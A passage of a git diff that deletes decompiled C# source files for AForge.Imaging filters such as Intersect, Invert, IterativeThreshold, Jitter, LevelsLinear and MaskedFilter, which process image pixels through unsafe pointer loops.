width * num); - num9++; - ptr2 += stride2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Intersect.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Intersect.cs deleted file mode 100644 index 0da9917..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Intersect.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Intersect : BaseInPlaceFilter2 -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Intersect() - { - InitFormatTranslations(); - } - - public Intersect(Bitmap overlayImage) - : base(overlayImage) - { - InitFormatTranslations(); - } - - public Intersect(UnmanagedImage unmanagedOverlayImage) - : base(unmanagedOverlayImage) - { - InitFormatTranslations(); - } - - private void InitFormatTranslations() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, UnmanagedImage overlay) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Invalid comparison between Unknown and I4 - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003e: Invalid comparison between Unknown and I4 - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_0025: Unknown result type (might be due to invalid IL or missing references) - //IL_002b: Invalid comparison between Unknown and I4 - //IL_002d: Unknown result type (might be due to invalid IL or missing references) - //IL_0033: Invalid comparison between Unknown and I4 - //IL_00d9: Unknown result type (might be due to invalid IL or missing references) - //IL_00df: Invalid comparison between Unknown and I4 - //IL_00e1: Unknown result type (might be due to invalid IL or missing references) - //IL_00e7: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = image.PixelFormat; - int width = image.Width; - int height = image.Height; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224 || (int)pixelFormat == 139273 || (int)pixelFormat == 2498570) - { - int num = (((int)pixelFormat == 198659) ? 1 : (((int)pixelFormat == 137224) ? 3 : 4)); - int num2 = width * num; - int num3 = image.Stride - num2; - int num4 = overlay.Stride - num2; - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)overlay.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num5 = 0; - while (num5 < num2) - { - if (*ptr2 < *ptr) - { - *ptr = *ptr2; - } - num5++; - ptr++; - ptr2++; - } - ptr += num3; - ptr2 += num4; - } - return; - } - int num6 = (((int)pixelFormat == 1052676) ? 1 : (((int)pixelFormat == 1060876) ? 3 : 4)); - int num7 = width * num6; - int stride = image.Stride; - int stride2 = overlay.Stride; - byte* ptr3 = (byte*)image.ImageData.ToPointer(); - byte* ptr4 = (byte*)overlay.ImageData.ToPointer(); - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num8 = 0; - while (num8 < num7) - { - if (*ptr6 < *ptr5) - { - *ptr5 = *ptr6; - } - num8++; - ptr5++; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Invert.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Invert.cs deleted file mode 100644 index 6a74884..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Invert.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public sealed class Invert : BaseInPlacePartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Invert() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_005a: Unknown result type (might be due to invalid IL or missing references) - //IL_0064: Invalid comparison between Unknown and I4 - //IL_0067: Unknown result type (might be due to invalid IL or missing references) - //IL_0071: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 198659 || (int)image.PixelFormat == 1052676) ? 1 : 3); - int top = rect.Top; - int num2 = top + rect.Height; - int num3 = rect.Left * num; - int num4 = num3 + rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659 || (int)image.PixelFormat == 137224) - { - int num5 = image.Stride - (num4 - num3); - byte* ptr2 = ptr + (top * image.Stride + rect.Left * num); - for (int i = top; i < num2; i++) - { - int num6 = num3; - while (num6 < num4) - { - *ptr2 = (byte)(255 - *ptr2); - num6++; - ptr2++; - } - ptr2 += num5; - } - return; - } - int stride = image.Stride; - ptr += top * image.Stride + rect.Left * num * 2; - for (int j = top; j < num2; j++) - { - ushort* ptr3 = (ushort*)ptr; - int num7 = num3; - while (num7 < num4) - { - *ptr3 = (ushort)(65535 - *ptr3); - num7++; - ptr3++; - } - ptr += stride; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IterativeThreshold.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IterativeThreshold.cs deleted file mode 100644 index 8b3f36f..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/IterativeThreshold.cs +++ /dev/null @@ -1,145 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class IterativeThreshold : Threshold -{ - private int minError; - - public int MinimumError - { - get - { - return minError; - } - set - { - minError = value; - } - } - - public IterativeThreshold() - { - } - - public IterativeThreshold(int minError) - { - this.minError = minError; - } - - public IterativeThreshold(int minError, int threshold) - { - this.minError = minError; - base.threshold = threshold; - } - - public int CalculateThreshold(Bitmap image, Rectangle rect) - { - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - int num = 0; - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return CalculateThreshold(val, rect); - } - finally - { - image.UnlockBits(val); - } - } - - public int CalculateThreshold(BitmapData image, Rectangle rect) - { - return CalculateThreshold(new UnmanagedImage(image), rect); - } - - public unsafe int CalculateThreshold(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0058: Unknown result type (might be due to invalid IL or missing references) - //IL_0062: Invalid comparison between Unknown and I4 - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659 && (int)image.PixelFormat != 1052676) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the routine."); - } - int num = threshold; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int[] array = null; - int num4 = 0; - if ((int)image.PixelFormat == 198659) - { - array = new int[256]; - num4 = 256; - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num5 = image.Stride - rect.Width; - ptr += top * image.Stride + left; - for (int i = top; i < num3; i++) - { - int num6 = left; - while (num6 < num2) - { - array[*ptr]++; - num6++; - ptr++; - } - ptr += num5; - } - } - else - { - array = new int[65536]; - num4 = 65536; - byte* ptr2 = (byte*)image.ImageData.ToPointer() + (nint)left * (nint)2; - int stride = image.Stride; - for (int j = top; j < num3; j++) - { - ushort* ptr3 = (ushort*)(ptr2 + (nint)j * (nint)stride); - int num7 = left; - while (num7 < num2) - { - array[*ptr3]++; - num7++; - ptr3++; - } - } - } - int num8 = 0; - do - { - num8 = num; - double num9 = 0.0; - int num10 = 0; - double num11 = 0.0; - int num12 = 0; - for (int k = 0; k < num; k++) - { - num11 += (double)k * (double)array[k]; - num12 += array[k]; - } - for (int l = num; l < num4; l++) - { - num9 += (double)l * (double)array[l]; - num10 += array[l]; - } - num11 /= (double)num12; - num9 /= (double)num10; - num = ((num12 == 0) ? ((int)num9) : ((num10 != 0) ? ((int)((num11 + num9) / 2.0)) : ((int)num11))); - } - while (System.Math.Abs(num8 - num) > minError); - return num; - } - - protected override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - threshold = CalculateThreshold(image, rect); - base.ProcessFilter(image, rect); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/JarvisJudiceNinkeDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/JarvisJudiceNinkeDithering.cs deleted file mode 100644 index 2e3fe3b..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/JarvisJudiceNinkeDithering.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class JarvisJudiceNinkeDithering : ErrorDiffusionToAdjacentNeighbors -{ - public JarvisJudiceNinkeDithering() - : base(new int[3][] - { - new int[2] { 7, 5 }, - new int[5] { 3, 5, 7, 5, 3 }, - new int[5] { 1, 3, 5, 3, 1 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Jitter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Jitter.cs deleted file mode 100644 index 863e440..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Jitter.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Jitter : BaseUsingCopyPartialFilter -{ - private int radius = 2; - - private Random rand = new Random(); - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public int Radius - { - get - { - return radius; - } - set - { - radius = System.Math.Max(1, System.Math.Min(10, value)); - } - } - - public Jitter() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public Jitter(int radius) - : this() - { - Radius = radius; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(source.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int stride = source.Stride; - int stride2 = destination.Stride; - int num4 = stride2 - rect.Width * num; - int maxValue = radius * 2 + 1; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - if (stride == stride2) - { - SystemTools.CopyUnmanagedMemory(ptr2, ptr, stride * source.Height); - } - else - { - int count = source.Width * num; - int i = 0; - for (int height = source.Height; i < height; i++) - { - SystemTools.CopyUnmanagedMemory(ptr2 + (nint)stride2 * (nint)i, ptr + (nint)stride * (nint)i, count); - } - } - ptr2 += top * stride2 + left * num; - for (int j = top; j < num3; j++) - { - for (int k = left; k < num2; k++) - { - int num5 = k + rand.Next(maxValue) - radius; - int num6 = j + rand.Next(maxValue) - radius; - if (num5 >= left && num6 >= top && num5 < num2 && num6 < num3) - { - byte* ptr3 = ptr + (nint)num6 * (nint)stride + (nint)num5 * (nint)num; - int num7 = 0; - while (num7 < num) - { - *ptr2 = *ptr3; - num7++; - ptr2++; - ptr3++; - } - } - else - { - ptr2 += num; - } - } - ptr2 += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/LevelsLinear.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/LevelsLinear.cs deleted file mode 100644 index ab1c8a2..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/LevelsLinear.cs +++ /dev/null @@ -1,227 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class LevelsLinear : BaseInPlacePartialFilter -{ - private IntRange inRed = new IntRange(0, 255); - - private IntRange inGreen = new IntRange(0, 255); - - private IntRange inBlue = new IntRange(0, 255); - - private IntRange outRed = new IntRange(0, 255); - - private IntRange outGreen = new IntRange(0, 255); - - private IntRange outBlue = new IntRange(0, 255); - - private byte[] mapRed = new byte[256]; - - private byte[] mapGreen = new byte[256]; - - private byte[] mapBlue = new byte[256]; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public IntRange InRed - { - get - { - return inRed; - } - set - { - inRed = value; - CalculateMap(inRed, outRed, mapRed); - } - } - - public IntRange InGreen - { - get - { - return inGreen; - } - set - { - inGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange InBlue - { - get - { - return inBlue; - } - set - { - inBlue = value; - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public IntRange InGray - { - get - { - return inGreen; - } - set - { - inGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange Input - { - set - { - inRed = (inGreen = (inBlue = value)); - CalculateMap(inRed, outRed, mapRed); - CalculateMap(inGreen, outGreen, mapGreen); - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public IntRange OutRed - { - get - { - return outRed; - } - set - { - outRed = value; - CalculateMap(inRed, outRed, mapRed); - } - } - - public IntRange OutGreen - { - get - { - return outGreen; - } - set - { - outGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange OutBlue - { - get - { - return outBlue; - } - set - { - outBlue = value; - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public IntRange OutGray - { - get - { - return outGreen; - } - set - { - outGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange Output - { - set - { - outRed = (outGreen = (outBlue = value)); - CalculateMap(inRed, outRed, mapRed); - CalculateMap(inGreen, outGreen, mapGreen); - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public LevelsLinear() - { - CalculateMap(inRed, outRed, mapRed); - CalculateMap(inGreen, outGreen, mapGreen); - CalculateMap(inBlue, outBlue, mapBlue); - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0068: Unknown result type (might be due to invalid IL or missing references) - //IL_0072: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - if ((int)image.PixelFormat == 198659) - { - for (int i = top; i < num3; i++) - { - int num5 = left; - while (num5 < num2) - { - *ptr = mapGreen[*ptr]; - num5++; - ptr++; - } - ptr += num4; - } - return; - } - for (int j = top; j < num3; j++) - { - int num6 = left; - while (num6 < num2) - { - ptr[2] = mapRed[ptr[2]]; - ptr[1] = mapGreen[ptr[1]]; - *ptr = mapBlue[*ptr]; - num6++; - ptr += num; - } - ptr += num4; - } - } - - private void CalculateMap(IntRange inRange, IntRange outRange, byte[] map) - { - double num = 0.0; - double num2 = 0.0; - if (inRange.Max != inRange.Min) - { - num = (double)(outRange.Max - outRange.Min) / (double)(inRange.Max - inRange.Min); - num2 = (double)outRange.Min - num * (double)inRange.Min; - } - for (int i = 0; i < 256; i++) - { - byte b = (byte)i; - b = ((b < inRange.Max) ? ((b > inRange.Min) ? ((byte)(num * (double)(int)b + num2)) : ((byte)outRange.Min)) : ((byte)outRange.Max)); - map[i] = b; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/LevelsLinear16bpp.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/LevelsLinear16bpp.cs deleted file mode 100644 index 519f212..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/LevelsLinear16bpp.cs +++ /dev/null @@ -1,227 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class LevelsLinear16bpp : BaseInPlacePartialFilter -{ - private IntRange inRed = new IntRange(0, 65535); - - private IntRange inGreen = new IntRange(0, 65535); - - private IntRange inBlue = new IntRange(0, 65535); - - private IntRange outRed = new IntRange(0, 65535); - - private IntRange outGreen = new IntRange(0, 65535); - - private IntRange outBlue = new IntRange(0, 65535); - - private ushort[] mapRed = new ushort[65536]; - - private ushort[] mapGreen = new ushort[65536]; - - private ushort[] mapBlue = new ushort[65536]; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public IntRange InRed - { - get - { - return inRed; - } - set - { - inRed = value; - CalculateMap(inRed, outRed, mapRed); - } - } - - public IntRange InGreen - { - get - { - return inGreen; - } - set - { - inGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange InBlue - { - get - { - return inBlue; - } - set - { - inBlue = value; - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public IntRange InGray - { - get - { - return inGreen; - } - set - { - inGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange Input - { - set - { - inRed = (inGreen = (inBlue = value)); - CalculateMap(inRed, outRed, mapRed); - CalculateMap(inGreen, outGreen, mapGreen); - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public IntRange OutRed - { - get - { - return outRed; - } - set - { - outRed = value; - CalculateMap(inRed, outRed, mapRed); - } - } - - public IntRange OutGreen - { - get - { - return outGreen; - } - set - { - outGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange OutBlue - { - get - { - return outBlue; - } - set - { - outBlue = value; - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public IntRange OutGray - { - get - { - return outGreen; - } - set - { - outGreen = value; - CalculateMap(inGreen, outGreen, mapGreen); - } - } - - public IntRange Output - { - set - { - outRed = (outGreen = (outBlue = value)); - CalculateMap(inRed, outRed, mapRed); - CalculateMap(inGreen, outGreen, mapGreen); - CalculateMap(inBlue, outBlue, mapBlue); - } - } - - public LevelsLinear16bpp() - { - CalculateMap(inRed, outRed, mapRed); - CalculateMap(inGreen, outGreen, mapGreen); - CalculateMap(inBlue, outBlue, mapBlue); - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)3424269; - formatTranslations[(PixelFormat)1851406] = (PixelFormat)1851406; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(image.PixelFormat) / 16; - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - _ = image.Stride; - _ = rect.Width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - if ((int)image.PixelFormat == 1052676) - { - for (int i = top; i < num3; i++) - { - ushort* ptr2 = (ushort*)(ptr + (nint)i * (nint)image.Stride) + left; - int num4 = left; - while (num4 < num2) - { - *ptr2 = mapGreen[*ptr2]; - num4++; - ptr2++; - } - } - return; - } - for (int j = top; j < num3; j++) - { - ushort* ptr3 = (ushort*)(ptr + (nint)j * (nint)image.Stride) + left * num; - int num5 = left; - while (num5 < num2) - { - ptr3[2] = mapRed[ptr3[2]]; - ptr3[1] = mapGreen[ptr3[1]]; - *ptr3 = mapBlue[*ptr3]; - num5++; - ptr3 += num; - } - } - } - - private void CalculateMap(IntRange inRange, IntRange outRange, ushort[] map) - { - double num = 0.0; - double num2 = 0.0; - if (inRange.Max != inRange.Min) - { - num = (double)(outRange.Max - outRange.Min) / (double)(inRange.Max - inRange.Min); - num2 = (double)outRange.Min - num * (double)inRange.Min; - } - for (int i = 0; i < 65536; i++) - { - ushort num3 = (ushort)i; - num3 = ((num3 < inRange.Max) ? ((num3 > inRange.Min) ? ((ushort)(num * (double)(int)num3 + num2)) : ((ushort)outRange.Min)) : ((ushort)outRange.Max)); - map[i] = num3; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/MaskedFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/MaskedFilter.cs deleted file mode 100644 index a0aba33..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/MaskedFilter.cs +++ /dev/null @@ -1,349 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class MaskedFilter : BaseInPlacePartialFilter -{ - private IFilter baseFilter; - - private Bitmap maskImage; - - private UnmanagedImage unmanagedMaskImage; - - private byte[,] mask; - - public IFilter BaseFilter - { - get - { - return baseFilter; - } - private set - { - //IL_0040: Unknown result type (might be due to invalid IL or missing references) - //IL_0047: Unknown result type (might be due to invalid IL or missing references) - if (value == null) - { - throw new NullReferenceException("Base filter can not be set to null."); - } - if (!(value is IFilterInformation)) - { - throw new ArgumentException("The specified base filter must implement IFilterInformation interface."); - } - Dictionary formatTranslations = ((IFilterInformation)value).FormatTranslations; - foreach (KeyValuePair item in formatTranslations) - { - if (item.Key != item.Value) - { - throw new ArgumentException("The specified filter must never change pixel format."); - } - } - baseFilter = value; - } - } - - public Bitmap MaskImage - { - get - { - return maskImage; - } - set - { - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - if (maskImage != null && (int)((Image)maskImage).PixelFormat != 198659) - { - throw new ArgumentException("The mask image must be 8 bpp grayscale image."); - } - maskImage = value; - unmanagedMaskImage = null; - mask = null; - } - } - - public UnmanagedImage UnmanagedMaskImage - { - get - { - return unmanagedMaskImage; - } - set - { - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - if (unmanagedMaskImage != null && (int)unmanagedMaskImage.PixelFormat != 198659) - { - throw new ArgumentException("The mask image must be 8 bpp grayscale image."); - } - unmanagedMaskImage = value; - maskImage = null; - mask = null; - } - } - - public byte[,] Mask - { - get - { - return mask; - } - set - { - mask = value; - maskImage = null; - unmanagedMaskImage = null; - } - } - - public override Dictionary FormatTranslations => ((IFilterInformation)baseFilter).FormatTranslations; - - public MaskedFilter(IFilter baseFiler, Bitmap maskImage) - { - BaseFilter = baseFiler; - MaskImage = maskImage; - } - - public MaskedFilter(IFilter baseFiler, UnmanagedImage unmanagedMaskImage) - { - BaseFilter = baseFiler; - UnmanagedMaskImage = unmanagedMaskImage; - } - - public MaskedFilter(IFilter baseFiler, byte[,] mask) - { - BaseFilter = baseFiler; - Mask = mask; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - if (mask != null) - { - if (image.Width != mask.GetLength(1) || image.Height != mask.GetLength(0)) - { - throw new ArgumentException("Invalid size of mask array. Its size must be the same as the size of the image to mask."); - } - fixed (byte* ptr = mask) - { - ProcessImage(image, rect, ptr, mask.GetLength(1)); - } - return; - } - if (unmanagedMaskImage != null) - { - if (image.Width != unmanagedMaskImage.Width || image.Height != unmanagedMaskImage.Height) - { - throw new ArgumentException("Invalid size of unmanaged mask image. Its size must be the same as the size of the image to mask."); - } - ProcessImage(image, rect, (byte*)unmanagedMaskImage.ImageData.ToPointer(), unmanagedMaskImage.Stride); - return; - } - if (maskImage != null) - { - if (image.Width != ((Image)maskImage).Width || image.Height != ((Image)maskImage).Height) - { - throw new ArgumentException("Invalid size of mask image. Its size must be the same as the size of the image to mask."); - } - BitmapData val = maskImage.LockBits(new Rectangle(0, 0, image.Width, image.Height), (ImageLockMode)1, (PixelFormat)198659); - try - { - ProcessImage(image, rect, (byte*)val.Scan0.ToPointer(), val.Stride); - return; - } - finally - { - maskImage.UnlockBits(val); - } - } - throw new NullReferenceException("None of the possible mask properties were set. Need to provide mask before applying the filter."); - } - - private unsafe void ProcessImage(UnmanagedImage image, Rectangle rect, byte* mask, int maskLineSize) - { - //IL_0035: Unknown result type (might be due to invalid IL or missing references) - UnmanagedImage unmanagedImage = baseFilter.Apply(image); - if (image.Width != unmanagedImage.Width || image.Height != unmanagedImage.Height) - { - throw new ArgumentException("Base filter must not change image size."); - } - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int top = rect.Top; - int num2 = top + rect.Height; - int left = rect.Left; - int num3 = left + rect.Width; - int stride = image.Stride; - int stride2 = unmanagedImage.Stride; - int num4 = maskLineSize - rect.Width; - mask += maskLineSize * top + left; - if (num <= 4 && num != 2) - { - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)stride * (nint)top + (nint)num * (nint)left; - int num5 = stride - rect.Width * num; - byte* ptr2 = (byte*)unmanagedImage.ImageData.ToPointer() + (nint)stride2 * (nint)top + (nint)num * (nint)left; - int num6 = stride2 - rect.Width * num; - switch (num) - { - case 1: - { - for (int j = top; j < num2; j++) - { - int num8 = left; - while (num8 < num3) - { - if (*mask != 0) - { - *ptr = *ptr2; - } - num8++; - ptr++; - ptr2++; - mask++; - } - ptr += num5; - ptr2 += num6; - mask += num4; - } - break; - } - case 3: - { - for (int k = top; k < num2; k++) - { - int num9 = left; - while (num9 < num3) - { - if (*mask != 0) - { - ptr[2] = ptr2[2]; - ptr[1] = ptr2[1]; - *ptr = *ptr2; - } - num9++; - ptr += 3; - ptr2 += 3; - mask++; - } - ptr += num5; - ptr2 += num6; - mask += num4; - } - break; - } - case 4: - { - for (int i = top; i < num2; i++) - { - int num7 = left; - while (num7 < num3) - { - if (*mask != 0) - { - ptr[2] = ptr2[2]; - ptr[1] = ptr2[1]; - *ptr = *ptr2; - ptr[3] = ptr2[3]; - } - num7++; - ptr += 4; - ptr2 += 4; - mask++; - } - ptr += num5; - ptr2 += num6; - mask += num4; - } - break; - } - case 2: - break; - } - return; - } - byte* ptr3 = (byte*)image.ImageData.ToPointer() + (nint)stride * (nint)top + (nint)num * (nint)left; - byte* ptr4 = (byte*)unmanagedImage.ImageData.ToPointer() + (nint)stride2 * (nint)top + (nint)num * (nint)left; - switch (num) - { - case 2: - { - for (int m = top; m < num2; m++) - { - ushort* ptr7 = (ushort*)ptr3; - ushort* ptr8 = (ushort*)ptr4; - int num11 = left; - while (num11 < num3) - { - if (*mask != 0) - { - *ptr7 = *ptr8; - } - num11++; - ptr7++; - ptr8++; - mask++; - } - ptr3 += stride; - ptr4 += stride2; - mask += num4; - } - break; - } - case 6: - { - for (int n = top; n < num2; n++) - { - ushort* ptr9 = (ushort*)ptr3; - ushort* ptr10 = (ushort*)ptr4; - int num12 = left; - while (num12 < num3) - { - if (*mask != 0) - { - ptr9[2] = ptr10[2]; - ptr9[1] = ptr10[1]; - *ptr9 = *ptr10; - } - num12++; - ptr9 += 3; - ptr10 += 3; - mask++; - } - ptr3 += stride; - ptr4 += stride2; - mask += num4; - } - break; - } - case 8: - { - for (int l = top; l < num2; l++) - { - ushort* ptr5 = (ushort*)ptr3; - ushort* ptr6 = (ushort*)ptr4; - int num10 = left; - while (num10 < num3) - { - if (*mask != 0) - { - ptr5[2] = ptr6[2]; - ptr5[1] = ptr6[1]; - *ptr5 = *ptr6; - ptr5[3] = ptr6[3]; - } - num10++; - ptr5 += 4; - ptr6 += 4; - mask++; - } - ptr3 += stride; - ptr4 += stride2; - mask += num4; - } - break; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Mean.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Mean.cs deleted file mode 100644 index 872789a..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Mean.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class Mean : Convolution -{ - public Mean() - : base(new int[3, 3] - { - { 1, 1, 1 }, - { 1, 1, 1 }, - { 1, 1, 1 } - }) - { - base.ProcessAlpha = true; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Median.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Median.cs deleted file mode 100644 index adfa8b3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Median.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Median : BaseUsingCopyPartialFilter -{ - private int size = 3; - 